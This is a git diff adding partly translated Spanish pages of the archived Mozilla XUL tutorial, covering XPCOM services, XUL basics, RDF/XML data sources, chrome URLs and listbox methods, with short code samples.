+  if (!unArchivo) return false;
+
+  // obtenemos un componente para el directorio donde queremos copiar
+  var unDirectorio = Components.classes["@mozilla.org/file/local;1"]
+    .createInstance(Components.interfaces.nsILocalFile);
+  if (!unDirectorio) return false;
+
+  // asignamos las URLs a los componentes archivo
+  unArchivo.initWithPath(archivofuente);
+  unDirectorio.initWithPath(dirdestino);
+
+  // finalmente, copiamos el archivo, sin renombrarlo
+  unArchivo.copyTo(unDirectorio,null);
+}
+
+copyFile("/mozilla/archivoprueba.txt","/etc");
+</pre>
+<h3 id="Servicios_XPCOM" name="Servicios_XPCOM">Servicios XPCOM</h3>
+<p>Existen algunos componentes XPCOM especiales llamados servicios. No tienes que crear instancias de ellos porque solo puede existir uno. Los servicios proporcionan funciones de carácter general que pueden obtener o establecer el valor de información global o ejecutar operaciones en otros objetos. En lugar de llamar a createInstance, llamamos a getService para obtener una referencia al componente del servicio. A parte de eso, los servicios no son demasiado diferentes de los demás componentes.</p>
+<p>Uno de los servicios que proporciona Mozilla es un servicio de marcadores. Este permite añadir marcadores a la lista de marcadores del usuario. A continuación podemos ver un ejemplo:</p>
+<pre>var marcadores = Components.classes["@mozilla.org/browser/bookmarks-service;1"].getService();
+marcadores.QueryInterface(Components.interfaces.nsIBookmarksService);
+marcadores.addBookmarkImmediately("http://www.mozilla.org","Mozilla",0,null);
+</pre>
+<p>Primero obtenemos el componente “@mozilla.org/browser/bookmarks-service;1�? y su servicio se coloca en una variable marcadores. Utilizamos QueryInterface para obtener la interfaz nsIBookmarksService. La función addBookmarkImmediately proporcionada por esta interfaz puede utilizarse para añadir marcadores. Los dos primeros parámetros de la función son la URL y el título del marcador. El tercer parámetro es el tipo del marcador que valdrá 0 normalmente, y el último parámetro es la codificación de caractéres del documento que estamos añadiendo a marcadores, que puede ser null.</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/introducción/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/introducción/index.html
new file mode 100644
index 0000000000..9c010ca596
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/introducción/index.html
@@ -0,0 +1,75 @@
+---
+title: Introducción
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Introducción
+tags:
+  - Tutorial_de_XUL
+  - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Estructura_XUL">Siguiente  »</a></p>
+</div>
+
+<p>Este tutorial te guiará durante el aprendizaje de XUL (XML Lenguaje de Interfaz de Usuario) el cual es un lenguaje múltiplataforma para describir la interfaz de usuario de las aplicaciones.</p>
+
+<p>Este tutorial te mostrará la creación de una sencilla interfaz de usuario de un buscador de archivos, muy parecida a la suministrada por la aplicación de Macintosh Sherlock o el cuadro de diálogo de búsqueda de archivos en Windows. Observa que solo se creará la interfaz de usuario y su funcionalidad será limitada. No se implementará la búsqueda de archivos propiamente dicha. Se mostrará una linea azul en la parte izquierda del párrafo donde se modificará el diálogo de búsqueda.</p>
+
+<h3 id=".C2.BFQu.C3.A9_es_XUL_y_porque_fue_creado.3F" name=".C2.BFQu.C3.A9_es_XUL_y_porque_fue_creado.3F">¿Qué es XUL y porque fue creado?</h3>
+
+<p>XUL (se pronuncia “sul? y rima con “cool?) fue creado para facilitar y acelerar el desarrollo del navegador Mozilla. Es un lenguaje XML, por lo tanto todas las características del XML están también en XUL.</p>
+
+<p>La mayoría de las aplicaciones necesitan ser desarrolladas usando características de una plataforma específica, convirtiendo el desarrollo de aplicaciones múltiplataformas en una tarea costosa y que consume mucho tiempo. Esto podrá no importarle a algunas personas, pero el usuario podría querer usar la aplicación en otros dispositivos, como equipos de bolsillo.</p>
+
+<p>En el pasado se desarrollaron muchas soluciones multiplataforma. Por ejemplo, Java tiene como un punto fuerte de venta la soportabilidad. XUL es un lenguaje diseñado específicamente para construir interfaces soportables.</p>
+
+<p>Desarrollar una aplicación toma mucho tiempo incluso si es sólo para una plataforma. El tiempo requerido para compilar y depurar también puede ser muy largo. Con XUL, una interfaz puede ser implementada y modificada de forma fácil y rápida.</p>
+
+<p>XUL tiene todas las ventajas de otros lenguajes XML. Por ejemplo, XHTML u otros lenguajes XML como MathML o SVG se pueden usar junto a él. Además, el texto que se muestra con XUL es fácilmente localizable, lo que significa que puede ser traducido a otros idiomas con poco esfuerzo. Se pueden aplicar hojas de estilo para modificar la apariencia de la interfaz de usuario (muy parecido a las funcionalidades de aspectos o temas presentes en Winamp o algunos gestores de ventanas).</p>
+
+<h3 id=".C2.BFQue_tipo_de_interfaz_se_puede_hacer_con_XUL.3F" name=".C2.BFQue_tipo_de_interfaz_se_puede_hacer_con_XUL.3F">¿Que tipo de interfaz se puede hacer con XUL?</h3>
+
+<p>XUL proporciona la habilidad de crear la mayoría de los elementos encontrados en las interfaces gráficas modernas. Es tan general que este puede ser aplicado a las necesidades específicas de ciertos dispositivos y tan poderoso que los desarrolladores pueden crear sofisticadas interfaces con éste.</p>
+
+<p>Algunos elementos que pueden ser creados son:</p>
+
+<ul>
+ <li>Controles de entrada tales como cuadros de texto y cajas de chequeo</li>
+ <li>Barra de herramientas con botones u otros contenidos</li>
+ <li>Menús en barras de menú o menú emergente</li>
+ <li>Pestañas de diálogo</li>
+ <li>Árbol de información jerárquica o tabulada</li>
+ <li>Teclas de accesos directo</li>
+</ul>
+
+<p>El contenido mostrado puede ser creado desde el contenido de un archivo XUL o con datos de una fuente de datos. En Mozilla, tales fuentes de datos son utilizadas para los mensajes de una cuenta de correo, los marca-páginas y los resultados de búsqueda. El contenido de los menúes, árboles y otros elementos pueden ser llenados con estos datos, o con sus propios datos suministrados en un archivo RDF (Resource Description Framework).</p>
+
+<p>Existen varios casos en los cuales aplicaciones XUL son creadas:</p>
+
+<ul>
+ <li><strong>extensión de Firefox</strong>: una extensión suma funcionalidades al navegador mismo, a menudo barra de herramientas suplementaria, menúes contextuales o una interfaz de personalización del navegador. Para conseguir eso una funcionalidad XUL llamada<em>overlay</em> es usada. Permite hacer fusionar una interfaz existente como el navegador Firefox con una interfaz de usuario de la extensión. Unas extensiones pueden igualmente ser aplicadas a otros productos de Mozilla tal como Thunderbird.</li>
+ <li><strong>aplicación XULRunner autónoma</strong>: XULRunner es una versión empaquetada de una plataforma Mozilla permitiendo crear aplicaciones XUL autónomas. No se necesita ningún navegador para arrancar éstas aplicaciones ya que contienen sus propios archivos ejecutables.</li>
+ <li><strong>paquete de XUL</strong>: a medio camino entre las dos otras se encuentran aplicaciones creadas de la misma manera que una extensión pero funcionando como una aplicación independiente en una ventana separada. Estos paquetes se emplean cuando no se desea una imponente aplicación completa XULRunner pero tampoco implica la instalación de un navegador Mozilla.</li>
+ <li><strong>aplicación XUL remota</strong>: se puede también colocar solamente código XUL en un servidor web y abrirlo con un navegador, como cualquier página web. Sin embargo este método es limitado, por razones de seguridad sobre que acciones se permiten, como la apertura de otras ventanas.</li>
+</ul>
+
+<p>Los tres primeros tipos necesitan cada uno su instalación en la máquina del usuario. Por lo cual, estos tipos de aplicaciones no tienen restricciones de seguridad, pueden acceder a los archivos locales y leer y escribir las preferencias, por ejemplo. El contenido XUL es normalmente cargado desde un paquete instalado dentro de Mozilla. Los archivos XUL, "scripts" asociados e imágenes de una aplicación podrán ser empaquetados dentro de un simple archivo, descargados e instalados por el usuario. Mozilla proporciona una manera de tener estos paquetes instalados y registrados sin tener que escribir un montón de códigos complejos. Además, estos paquetes pueden incorporarse al navegador u otras aplicaciones para adicionarles características; esta es la forma en que trabajan las extensiones de Firefox.</p>
+
+<p>También es posible abrir directamente archivos XUL desde el sistema de archivos o desde un sitio web remoto, sin embargo ellos estarán restringidos en el tipo de operaciones que puedan hacer, y algunas características de XUL no trabajarán. En cambio, si Ud. quiere cargar el contenido XUL desde un sitio remoto, el servidor web debe estar configurado para enviar archivos XUL con contenidos de tipo '<code>application/vnd.mozilla.xul+xml</code>'. El XUL es usualmente almacenado en archivos con una extensión .xul. Ud. puede abrir un archivo XUL con Mozilla tal como abre otros archivos, usando el comando Abrir Archivo desde el menú de Archivo o escribiendo la URL en la barra de dirección.</p>
+
+<h3 id=".C2.BFQue_necesita_conocer_para_utilizar_este_tutorial.3F" name=".C2.BFQue_necesita_conocer_para_utilizar_este_tutorial.3F">¿Que necesita conocer para utilizar este tutorial?</h3>
+
+<p>Debe tener conocimentos de HTML (HyperText Markup Language) y por lo menos, conocimientos básicos de XML y CSS (Cascading Style Sheets). Aquí se exponen algunas reglas que debe tener en mente:</p>
+
+<ul>
+ <li>Los elementos en XUL y sus atributos deben introducirse en minúsculas, ya que XML distingue entre mayúsculas/minúsculas (a diferencia de HTML).</li>
+ <li>Los valores de los atributos en XUL, deben colocarse entre comillas, aunque sean números.</li>
+ <li>Los archivos XUL por lo general se dividen en cuatro ficheros, uno para la disposición de los elementos, otro para la definición del estilo, otro para declarar las entidades (usadas en las localizaciones) y otro para los "script". Además se pueden tener archivos para las imágenes o para datos específicos de una plataforma.</li>
+</ul>
+
+<p>XUL está soportado en Mozilla y otros navegadores basados en el motor Gecko, tales como Netscape 6 o posteriores y Mozilla Firefox. Debido a los diversos cambios que ha tenido la sintaxis de XUL en el tiempo, tener la última versión de su navegador permitirá que los ejemplos trabajen adecuadamente. La mayoría de los ejemplos deben funcionar en Mozilla 1.0 o posteriores. XUL es bastante similar en Firefox y los otros navegadores, aunque tiene algunas diferencias específicas como el soporte de barras de herramientas personalizables.</p>
+
+<p>Este tutorial intenta cubrir gran parte de la funcionalidad de XUL, no obstante, no trata todas las características. Una vez se haya familiarizado con el lenguaje XUL puede utilizar <a href="es/XUL/Elementos">la referencia de elementos del lenguaje XUL</a> (<a class="external" href="http://www.xulplanet.com/references/elemref/">en</a>) para encontrar otras características soportadas por elementos específicos del lenguaje.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Estructura_XUL">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/introducción_a_rdf/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/introducción_a_rdf/index.html
new file mode 100644
index 0000000000..8315441b4c
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/introducción_a_rdf/index.html
@@ -0,0 +1,136 @@
+---
+title: Introducción a RDF
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Introducción_a_RDF
+tags:
+  - RDF
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Introduction_to_RDF
+---
+<p>En ésta sección, miraremos el Marco de Descripción de Recursos (RDF) <small>(Resource Description Framework)</small>.</p>
+
+<h3 id="Marco_de_descripci.C3.B3n_de_recursos" name="Marco_de_descripci.C3.B3n_de_recursos">Marco de descripción de recursos</h3>
+
+<p>Podemos usar <a href="es/Tutorial_de_XUL/%c3%81rboles">los elementos del árbol</a> para mostrar un conjunto de datos, tales como bookmarks o mensajes de email. Sin embargo, Sería inconveniente hacerlo así ingresando los archivos diretamente en el archivo <a href="es/XUL">XUL</a>. Eso haría muy difícil modificar los (marcadores) bookmarks si ellos estuviesen directamente en el archivo XUL. La forma de solucionar ésto es usando un recurso de datos RDF.</p>
+
+<p><a href="es/RDF">RDF</a> (Marco de Descripción de Recursos) Es un formato que puede ser usado para almacenar recursos tales como marcadores o bookmarks y correos. Alternativamente, datos en otros formatos pueden ser usados y códigos de escritura que leerán el archivo y crearán datos RDF de ellos. Así es como Mozilla funciona, cuando él lee los datos tal como marcadores o bookmarks, el historial o los correos, Mozilla provee datos de recurso para este dato común para que pueda facilmente usarlos.</p>
+
+<p>Puedes usar cualquiera de los datos de recurso RDF proveidos para poblar árboles con datos a or you can point to an RDF file stored in XML which contains the data. This makes it very convenient to display trees with lots of rows in them. RDF can also populate other XUL elements as well such as listboxes and menus. We'll see this in the next section.</p>
+
+<p>A very brief overview of RDF will be provided here. For a more detailed guide to RDF, ver <a class="external" href="http://www.xulplanet.com/tutorials/mozsdk/rdfstart.php">Introducción al modelo RDF</a>, en XULPlanet. It is recommended that you read this guide if you are new to RDF.</p>
+
+<p>Para más información sobre RDF, ver la <a class="external" href="http://www.w3.org/TR/rdf-primer/">especificación RDF</a>.</p>
+
+<h4 id="RDF.2FXML" name="RDF.2FXML">RDF/XML</h4>
+
+<p>RDF consta de un modelo, el cual es una representación gráfica de datos. RDF/XML es un lenguaje XML que puede ser usado para representar un dato RDF. Ello contiene un conjunto de elementos bastante simples. El ejemplo de abajo muestra una simple plantilla RDF</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;RDF:RDF
+  xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"&gt;
+  ...
+&lt;/RDF:RDF&gt;
+</pre>
+
+<p>Ésto tiene similitudes con el encabezador de XUL. En vez de <code><a href="es/XUL/Elementos/window">window</a></code> element, el elemento <code>RDF</code> es usado. puedes ver el namespace (espacio de nombre) para RDF fue declarado así para que los elementos RDF sean reconocidos apropiadamente. Dentro del elemento <code>RDF</code>, podrás colocar el dato. para ver algún ejemplo de archivos RDF/XML, Mira aquellas proveidas por Mozilla. Ellos tienen la extensión rdf.</p>
+
+<h4 id="Base_de_datos_RDF" name="Base_de_datos_RDF">Base de datos RDF</h4>
+
+<p>Tomemos el ejemplo de una lista de marcadores generados desde RDF.Una lista de marcadores contiene un conjunto de registros,Cada uno con un conjunto asociado a ello, tal como una URL, Un título de marcador y un fecha de visita.</p>
+
+<p>Piensa en el marcador como una base de datos, el cual es almacenado en una grande tabla con numerosos campos. En el caso de RDF o como sea, Las listas pueden ser jerarquizadas también. Esto es necesario para nosotros podamos tener carpetas o categorías de los marcadores. cada uno de los campos en la base de datos RDF es un recurso, cada uno con su nombre asociado a ello. El nombre es descrito por un URI.</p>
+
+<p>Por ejemplo, una selección de campos en la lista de marcadores de Mozilla es descrito por los URIs below:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Nombre</td>
+   <td><span class="nowiki">http://home.netscape.com/NC-rdf#Nombre</span></td>
+   <td>Bookmark name</td>
+  </tr>
+  <tr>
+   <td>URL</td>
+   <td><span class="nowiki">http://home.netscape.com/NC-rdf#URL</span></td>
+   <td>URL to link to</td>
+  </tr>
+  <tr>
+   <td>Descripción</td>
+   <td><span class="nowiki">http://home.netscape.com/NC-rdf#Descripción</span></td>
+   <td>Bookmark description</td>
+  </tr>
+  <tr>
+   <td>Fecha última visita</td>
+   <td><span class="nowiki">http://home.netscape.com/WEB-rdf#FechaÚltimaVisita</span></td>
+   <td>La fecha en la cual se visitó por última vez</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>These are generated by taking a namespace name and appending the field name. In the next section, we'll look at how we can use these to fill in the field values automatically. Note that the last visited date has a slightly different namespace than the other three.</p>
+
+<h4 id="Ejemplo_de_archivo_RDF.2FXML" name="Ejemplo_de_archivo_RDF.2FXML">Ejemplo de archivo RDF/XML</h4>
+
+<p>Below, a sample RDF/XML file is shown, listing a table with three records and three fields.</p>
+
+<pre>&lt;RDF:RDF xmlns:RDF="http://www.w3.org/1999/02/22-rdf-syntax-ns#"
+         xmlns:ANIMALS="http://www.some-fictitious-zoo.com/rdf#"&gt;
+
+  &lt;RDF:Seq about="http://www.some-fictitious-zoo.com/all-animals"&gt;
+    &lt;RDF:li&gt;
+       &lt;RDF:Description about="http://www.some-fictitious-zoo.com/mammals/lion"&gt;
+         &lt;ANIMALS:name&gt;León&lt;/ANIMALS:name&gt;
+         &lt;ANIMALS:species&gt;Panthera leo&lt;/ANIMALS:species&gt;
+         &lt;ANIMALS:class&gt;Mamífero&lt;/ANIMALS:class&gt;
+       &lt;/RDF:Description&gt;
+    &lt;/RDF:li&gt;
+    &lt;RDF:li&gt;
+       &lt;RDF:Description about="http://www.some-fictitious-zoo.com/arachnids/tarantula"&gt;
+         &lt;ANIMALS:name&gt;Tarántula&lt;/ANIMALS:name&gt;
+         &lt;ANIMALS:species&gt;Avicularia avicularia&lt;/ANIMALS:species&gt;
+         &lt;ANIMALS:class&gt;Araña&lt;/ANIMALS:class&gt;
+       &lt;/RDF:Description&gt;
+    &lt;/RDF:li&gt;
+    &lt;RDF:li&gt;
+       &lt;RDF:Description about="http://www.some-fictitious-zoo.com/mammals/hippopotamus"&gt;
+         &lt;ANIMALS:name&gt;Hipopótamo&lt;/ANIMALS:name&gt;
+         &lt;ANIMALS:species&gt;Hippopotamus amphibius&lt;/ANIMALS:species&gt;
+         &lt;ANIMALS:class&gt;Mamífero&lt;/ANIMALS:class&gt;
+       &lt;/RDF:Description&gt;
+    &lt;/RDF:li&gt;
+  &lt;/RDF:Seq&gt;
+&lt;/RDF:RDF&gt;
+</pre>
+
+<p>Here, three records have been described, one for each animal. Each <code>RDF:Description</code> tag describes a single record. Within each record, three fields are described, <code>name</code>, <code>species</code> and <code>class</code>. It isn't necessary for all records to have the same fields but it makes more sense to have them all the same.</p>
+
+<p>Each of three fields have been given a namespace of <code>ANIMALS</code>, the URL of which has been declared on the <code>RDF</code> tag. The name was selected because it has meaning in this case, but we could have selected something else. The namespace feature is useful because the <code>class</code> field might conflict with that used for styles.</p>
+
+<p>The <code>Seq</code> and <code>li</code> elements are used to specify that the records are in a list. This is much like how HTML lists are declared. The <code>Seq</code> element is used to indicate that the elements are ordered, or in sequence. Instead of the <code>Seq</code> element, you can also use <code>Bag</code> to indicate unordered data, and <code>Alt</code> to indicate data where each record specifies alternative values (such as mirror URLs).</p>
+
+<p>The resources can be referred to in a XUL file by combining the namespace URL followed by the field name. In the example above, the following URIs are generated which can be used to refer to the specific fields:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+  <tr>
+   <td>Nombre</td>
+   <td><span class="nowiki">http://www.some-fictitious-zoo.com/rdf#name</span></td>
+  </tr>
+  <tr>
+   <td>Especies</td>
+   <td><span class="nowiki">http://www.some-fictitious-zoo.com/rdf#species</span></td>
+  </tr>
+  <tr>
+   <td>Clase</td>
+   <td><span class="nowiki">http://www.some-fictitious-zoo.com/rdf#class</span></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Next, we'll see how we can use RDF to populate XUL elements.</p>
+
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Objeto_de_caja_de_árbol" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Plantillas">Siguiente  »</a></p>
+</div>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/la_url_chrome/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/la_url_chrome/index.html
new file mode 100644
index 0000000000..d62ed39007
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/la_url_chrome/index.html
@@ -0,0 +1,59 @@
+---
+title: La URL chrome
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/La_URL_chrome
+translation_of: Archive/Mozilla/XUL/Tutorial/The_Chrome_URL
+---
+<div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Tutorial_de_XUL:Introducción" style="float: left;">« Anterior</a><a href="/es/docs/Tutorial_de_XUL:Archivos_Manifest">Siguiente  »</a></p>
+</div>
+
+<p><br>
+ La siguiente sección describe cómo referirse a los documentos XUL y otros archivos chrome.</p>
+
+<h3 id="La_URL_Chrome" name="La_URL_Chrome">La URL Chrome</h3>
+
+<p>Los archivos XUL pueden accederse con una URL HTTP común, igual que los archivos HTML. Sin embargo, se puede hacer referencia a los paquetes que se instalan dentro del sistema chrome de Mozilla con un URL chrome especial. Los paquetes incluidos con Mozilla ya se encuentran instalados, pero tu puedes registrar los tuyos.</p>
+
+<p>Los paquetes instalados tienen la ventaja de que no tienen restricciones de seguridad establecidas, que es necesario para muchas aplicaciones. Otra ventaja sobre otro tipo de URL es que maneja automáticamente múltiples temas e idiomas. Por ejemplo, una URL chrome permite referirse a un archivo del tema como una imagen, sin necesidad de saber cuál es el tema que el usuario está usando. Siempre y cuando los nombres de los archivos sean iguales en cada tema, te puedes referir a ellos usando una URL chrome. Mozilla se encargará de determinar dónde se encuentran los archivos para retornar los datos correctos. Esto significa que realmente no importa dónde se encuentre instalado el paquete para poder acceder a el. Las URL chrome son independientes de donde se encuentren instalados fisicamente los archivos. Esto hace más fácil escribir aplicaciones que tienen muchos archivos ya que no tienes que preocuparte por el detalle de dónde se encuentran localizados.</p>
+
+<p>La sintaxis básica de una URL chrome es la siguiente</p>
+
+<pre>chrome://&lt;nombre del paquete&gt;/&lt;parte&gt;/&lt;archivo.xul&gt;
+</pre>
+
+<p>El texto &lt;nombre del paquete&gt; es el nombre del paquete, como lo puede ser<em>messenger</em> (IM) o el editor HTML. La &lt;parte&gt; es normalmente 'content', 'skin' o 'locale', depende la parte que quieras. &lt;archivo.xul&gt; es simplemente el nombre del archivo.</p>
+
+<p><strong>Ejemplo</strong>: <a class="external" rel="freelink">chrome://messenger/content/messenger.xul</a></p>
+
+<p>El ejemplo se refiere a la ventana messenger. Puedes apuntar a un archivo que es parte del skin reemplazando 'content' con 'skin' y cambiando el nombre del archivo. Similarmente puedes apuntar a un archivo que es parte de locale usando 'locale' en lugar de 'content'.</p>
+
+<p>Cuando abres una URL chrome, Mozilla echa un vistazo a través de su lista de paquetes instalados e intenta localizar el archivo JAR o el directorio que concuerde con el nombre del paquete y la parte. El mapeado entre las URL chrome y los archivos JAR se especifica en el archivo de manifiesto almacenado en el directorio chrome. Si reubicases el archivo<em>messenger.jar</em> en algun otro lugar al original y actualizases el archivo de manifiesto adecuadamente, todo continuaría funcionando correctamente ya que está restringido a su lugar de instalación. Usando URLs chrome podemos permitirle detalles como este a Mozilla. Análogamente, si el usuario cambia su tema, la parte 'skin' de la URL chrome se redirecciona a una colección de archivos diferente, sin que se tengan que hacer cambios en el XUL y en los scripts.</p>
+
+<p>Aquí hay otros ejemplos. Fíjate como ninguna de las URLs de tema o locale establecen especificamente algun directorio.</p>
+
+<pre>chrome://messenger/content/messenger.xul
+chrome://messenger/content/attach.js
+chrome://messenger/skin/icons/folder-inbox.gif
+chrome://messenger/locale/messenger.dtd
+</pre>
+
+<p>Para referirse a algun subdirectorio, solo es necesario agregarlo al final de la URL chrome. Las siguientes URLs se refieren a la ventana de favoritos (bookmarks), presta atención que en ambas se refieren al mismo archivo, pero varía de paquete ya que uno es para la Suite de Mozilla y la otra se usa en Firefox</p>
+
+<pre>chrome://communicator/content/bookmarks/bookmarksManager.xul (Mozilla)
+chrome://browser/content/bookmarks/bookmarksManager.xul (Firefox)
+</pre>
+
+<p>Puedes usar las URLs chrome en cualquier lugar donde se usan las URLs comunes. Incluso puedes escribirlas directamente en la barra de dirección (URL) de la ventana del navegador de Mozilla. Si escribes una de las URL de arriba en la barra de direccion, verás una ventana que aparece donde normalmente iría una pagina web y que en su mayoría es tan funcional como si fuera una ventana separada. Algunas ventanas de dialogo pueden no funcionar correctamente si precisan de argumentos que debe asignar la ventana que la abre.</p>
+
+<p>En ocaciones verás URLs chrome sin el nombre de un archivo especificado, por ejemplo:</p>
+
+<pre>chrome://browser/content/
+</pre>
+
+<p>En este caso, solo el nombre del paquete y la parte son especificados. Este tipo de referencia selecciona automáticamente un archivo apropiado del directorio correspondiente. Para contenido, se selecciona un archivo con el mismo nombre del paquete y con la extension xul. En el ejemplo de arriba, el archivo browser.xul es el que se selecciona. Para messenger, el arhivo seleccionado sería messenger.xul. Cuando creas tus propias aplicaciones, deberías crear un archivo con la ventana principal usando el mismo nombre de tu aplicación, así podrás referirte a ella de una manera más práctica y corta. Esta es una práctica común para que los usuarios solo necesiten saber el nombre del paquete para ejecutar la aplicación. Por supuesto, para una extensión que modifica la interfaz del navegador, el usuario no necesitar saber la URL ya que la extensión se presenta ella misma en la interfaz gráfica.</p>
+
+<p>Para una piel (skin), el archivo &lt;nombre_del_paquete&gt;.css se selecciona; para una configuración regional, el archivo &lt;nombre_del_paquete&gt;.dtd es seleccionado.</p>
+
+<p>Recuerda, chrome URL no está relacionado con su ubicación en el disco. Las dos primeras piezas de chrome URL son el nombre del paquete y la parte (ya sea contenido, piel (skin), o locale). A pesar de que es común colocar los archivos de contenido en un directorio llamado 'content', esto está fuero de convenio alguno, y estos archivos deben ser colocados en una estructura distinta.</p>
+
+<p>En la siguiente sección veremos como crear archivos .manifest y paquetes.</p>
diff --git a/files/es/archive/mozilla/xul/tutorial_de_xul/manipulando_listas/index.html b/files/es/archive/mozilla/xul/tutorial_de_xul/manipulando_listas/index.html
new file mode 100644
index 0000000000..90a38d41c6
--- /dev/null
+++ b/files/es/archive/mozilla/xul/tutorial_de_xul/manipulando_listas/index.html
@@ -0,0 +1,168 @@
+---
+title: Manipulando listas
+slug: Archive/Mozilla/XUL/Tutorial_de_XUL/Manipulando_listas
+tags:
+  - Todas_las_Categorías
+  - Tutorial_de_XUL
+  - XUL
+  - páginas_a_traducir
+translation_of: Archive/Mozilla/XUL/Tutorial/Manipulating_Lists
+---
+<p>The XUL listbox provides a number of specialized methods.</p>
+
+<h3 id="Manipulaci.C3.B3n_de_una_lista" name="Manipulaci.C3.B3n_de_una_lista">Manipulación de una lista</h3>
+
+<p>The <code><a href="es/XUL/Elementos/listbox">listbox</a></code> element provides numerous methods to retrieve and manipulate its items. Although <a href="es/Tutorial_de_XUL/Controles_de_listas">listboxes</a> may be manipulated using the standard <a href="es/DOM">DOM</a> functions as well, it is recommended that the specialized listbox functions be used instead when possible. These functions are bit simpler and will do the right thing.</p>
+
+<p>The <code><a href="es/XUL/M%c3%a9todos/appendItem">appendItem()</a></code> function is used to append a new item to the end a list. Similar to the <a href="es/DOM/element#element.appendChild">DOM appendChild()</a> function except that it takes a string label, and you do not have to worry about where to add it in the list structure. Here is an example:</p>
+
+<p><strong>Ejemplo 1</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_1.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_1.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;script&gt;
+function addItem(){
+  document.getElementById('thelist').appendItem("Thursday", "thu");
+}
+&lt;/script&gt;
+
+&lt;listbox id="thelist"/&gt;
+
+&lt;button label="Add" oncommand="addItem();"/&gt;
+</pre>
+
+<p>The <code><a href="es/XUL/M%c3%a9todos/appendItem">appendItem()</a></code> takes two arguments, the <code>label</code>, in this case 'Thursday', and a <code>value</code> 'thu'. The two arguments correspond to the <code><a href="es/XUL/Atributos/label">label</a></code> attribute and the <code><a href="es/XUL/Atributos/value">value</a></code> attribute on the <code><a href="es/XUL/Elementos/listitem">listitem</a></code> element. The value is used only as an extra optional value associated with an item which you might wish to use in a script.</p>
+
+<p>Similarly, there is also an <code><a href="es/XUL/M%c3%a9todos/insertItemAt">insertItemAt()</a></code> and a <code><a href="es/XUL/M%c3%a9todos/removeItemAt">removeItemAt()</a></code> function which inserts a new item and removes an existing item respectively. The syntax is as follows:</p>
+
+<pre>list.insertItemAt(3, "Miércoles", "mié");
+list.removeItemAt(3);
+</pre>
+
+<p>The <code><a href="es/XUL/M%c3%a9todos/insertItemAt">insertItemAt()</a></code> function takes an additional argument, the position to insert the new item. The new item is inserted at this index, so, in the example, the new item will be added at position 3 while the item previously at that position will now be at position 4. Remember that the first item is 0. The <code><a href="es/XUL/M%c3%a9todos/removeItemAt">removeItemAt()</a></code> function will remove the item at a specific index.</p>
+
+<p>These three methods are also available for several other XUL elements and work in the same manner. In fact, these methods are part of the <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULSelectControlElement.html">nsIDOMXULSelectControlElement</a> interface so any XUL elements which implement this interface have these methods. This includes the <code><a href="es/XUL/Elementos/menulist">menulist</a></code>, <code><a href="es/XUL/Elementos/radiogroup">radiogroup</a></code> and <code><a href="es/XUL/Elementos/tabs">tabs</a></code> elements. For example, to add a new item to a <a href="es/Tutorial_de_XUL/Men%c3%baes_de_barras_simples">menulist</a>, you can use the same syntax as for a <a href="es/Tutorial_de_XUL/Controles_de_listas">listbox</a>. The right kind of element will be appended in each situation.</p>
+
+<h3 id="Lista_de_selecci.C3.B3n" name="Lista_de_selecci.C3.B3n">Lista de selección</h3>
+
+<p>The <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIDOMXULMultiSelectControlElement.html">nsIDOMXULMultiSelectControlElement</a> interface provides two additonal properties, <code><a href="es/XUL/Propiedades/selectedIndex">selectedIndex</a></code> and <code><a href="es/XUL/Propiedades/selectedItem">selectedItem</a></code>. The former returns the index of the selected item while the latter returns the selected element. For instance the selectedItem of a menulist will be the <code><a href="es/XUL/Elementos/menuitem">menuitem</a></code> that is selected. If no item is selected, <code><a href="es/XUL/Propiedades/selectedIndex">selectedIndex</a></code> will return -1, while <code><a href="es/XUL/Propiedades/selectedItem">selectedItem</a></code> will return null.</p>
+
+<h4 id="Obteniendo_el_.C3.ADtem_seleccionado" name="Obteniendo_el_.C3.ADtem_seleccionado">Obteniendo el ítem seleccionado</h4>
+
+<p>These two properties are commonly inspected during a select event, as in the following example:</p>
+
+<p><strong>Ejemplo 2</strong>: <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_2.xul.txt">Código</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_domlists_2.xul">Ver en funcionamiento</a></p>
+
+<pre>&lt;listbox id="thelist" onselect="alert(this.selectedItem.label);"&gt;
+  &lt;listitem label="Corto"/&gt;
+  &lt;listitem label="Medio"/&gt;
+  &lt;listitem label="Largo"/&gt;
+&lt;/listbox&gt;
+</pre>
+
